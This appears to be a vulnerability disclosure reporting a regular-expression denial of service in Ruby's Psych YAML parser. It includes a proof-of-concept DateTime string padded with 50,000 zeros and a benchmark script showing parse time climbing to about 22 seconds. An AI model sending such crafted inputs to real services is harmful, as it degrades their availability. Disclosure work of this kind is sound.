ReDoS in Psych

Hello, I found a pattern that occur ReDoS in `Psych.load`. https://github.com/ruby/psych/blob/v4.0.3/lib/psych/scalar_scanner.rb#L113 https://github.com/ruby/psych/blob/v4.0.3/lib/psych/visitors/to_ruby.rb#L83 ```ruby def parse_time string klass = class_loader.load 'Time' date, time = *(string.split(/[ tT]/, 2)) (yy, m, dd) = date.match(/^(-?\d{4})-(\d{1,2})-(\d{1,2})/).captures.map { |x| x.to_i } md = time.match(/(\d+:\d+:\d+)(?:\.(\d*))?\s*(Z|[-+]\d+(:\d\d)?)?/) (hh, mm, ss) = md[1].split(':').map { |x| x.to_i } us = (md[2] ? Rational("0.#{md[2]}") : 0) * 1000000 ``` `/(\d+:\d+:\d+)(?:\.(\d*))?\s*(Z|[-+]\d+(:\d\d)?)?/` is vulnerable. It is a detect result by `recheck` ( https://makenowjust-labs.github.io/recheck/ ). {F1627996} ## PoC ```ruby ❯ ruby -v ruby 3.1.1p18 (2022-02-18 revision 53f5fc4236) [arm64-darwin20] ❯ irb irb(main):001:0> require 'yaml' => true irb(main):002:0> require 'date' => true irb(main):003:0> YAML.dump(DateTime.now) => "--- !ruby/object:DateTime 2022-02-22 06:43:52.577591000 +09:00\n" irb(main):004:0> YAML.load("--- !ruby/object:DateTime 2022-02-22 07:02:07.096315000 +09:00\n", permitted_classes: [Time, DateTime]) => #<DateTime: 2022-02-22T07:02:07+09:00 ((2459632j,79327s,96315000n),+32400s,2299161j)> irb(main):005:0> YAML.load("--- !ruby/object:DateTime 2022-02-22 " + '0' * 50000 + "00:0Z0:0:0", permitted_classes: [Time, DateTime]) # ReDoS! => #<DateTime: 2022-02-22T09:00:00+09:00 ((2459633j,0s,0n),+32400s,2299161j)> ``` ## benchmark datetime_benchmark.rb ```ruby require 'benchmark' require 'yaml' require 'date' def datetime_parse(length) text = "--- !ruby/object:DateTime 2022-02-21 " + '0' * length + '00:0Z0:0:0' YAML.load(text , permitted_classes: [Time, DateTime]) end Benchmark.bm do |x| x.report { datetime_parse(100) } x.report { datetime_parse(1000) } x.report { datetime_parse(10000) } x.report { datetime_parse(100000) } end ``` ``` ❯ ruby datetime_benchmark.rb user system total real 0.000215 0.000212 0.000427 ( 0.000422) 0.002306 0.000005 0.002311 ( 0.002314) 0.219717 0.000125 0.219842 ( 0.219844) 21.904961 0.041427 21.946388 ( 21.946604) ``` ## Impact ReDoS occurs when `DateTime` deserialization is allowed. The impact is limited as the attack string never matches the value of `TIME`.(https://github.com/ruby/psych/blob/v4.0.3/lib/psych/scalar_scanner.rb#L50 )